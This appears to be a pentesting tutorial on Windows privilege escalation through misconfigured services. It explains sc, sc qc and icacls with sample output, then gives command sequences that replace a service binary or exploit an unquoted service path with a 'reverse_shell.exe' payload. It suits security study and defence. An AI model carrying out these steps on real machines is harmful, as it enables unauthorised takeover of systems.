Exploring sc, sc qc, and icacls for Privilege Escalation on Windows

When you land on a Windows machine as a low-privileged user, your next job is to enumerate the environment mercilessly. You want to find services you can hijack, permissions you can abuse, and binaries that’ll help you escalate to SYSTEM. This is where commands like sc, sc qc, and icacls come in.

Let’s break these down and walk through how they’re used by real pentesters in the field.

sc is a command-line utility that communicates with the Service Control Manager. It allows you to interact with Windows services — start, stop, configure, create, delete.

sc query <service_name>
sc qc <service_name>
sc config <service_name> binPath= "C:\path\to\malicious.exe"

Pro tip: Always leave a space after binPath= or the command will fail silently.

This is where the gold often hides. sc qc dumps the configuration of a specific service, showing the executable path, account used to run the service, and more.

sc qc SomeService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SomeService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\SomeApp\app.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Some Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
  • BINARY_PATH_NAME: Is it pointing to a non-quoted path with spaces? That could be exploited via Unquoted Service Path.
  • SERVICE_START_NAME: If it runs as LocalSystem and you can change the binary or restart the service — jackpot.

Suppose BINARY_PATH_NAME is:

C:\Program Files\Some App\app.exe

If the path isn’t quoted and you, as a low-priv user, can write to C:\Program Files\Some.exe, Windows might try to run your binary first.

Steps:

copy reverse_shell.exe "C:\Program Files\Some.exe"
net stop SomeService
net start SomeService

icacls is a powerful command-line tool to view and modify NTFS permissions. Use it to check:

  • If you have write access to service executables
  • If you can write to configuration files, script files, or folders used by services
icacls "C:\Program Files\Some App"
BUILTIN\Users:(OI)(CI)(RX)
BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
Everyone:(OI)(CI)(M)
  • (M) = Modify
  • (F) = Full control

If Users or Everyone has Modify or Full Control, and the path is part of a running service or loaded binary, you might be able to replace or edit it.

Here’s how you might chain these tools together:

sc query type= service state= all
sc qc <service_name>
icacls "C:\Path\To\Binary.exe"
icacls "C:\Path\To\"
sc stop <service_name>
copy reverse_shell.exe "C:\Path\To\Binary.exe"
sc start <service_name>
  • You must be able to restart the service — otherwise you’ll need a reboot or trigger.
  • If the service is “critical” and crashes, expect the blue screen of regret.
  • Don’t forget AV — dropping payloads in C:\Program Files\ often triggers alarms.
CommandPurpose
sc qc nameView full service config
sc configModify a service (needs privs)
sc start/stopControl service execution
icacls pathView NTFS permissions
icacls path /grantModify permissions (if allowed)

These commands are basic, but they uncover a surprising amount of privilege escalation vectors — especially in misconfigured enterprise environments. Don’t underestimate the power of a wrongly set permission or a poorly quoted service path.

Keep them in your toolkit. Abuse them wisely.

Scroll to Top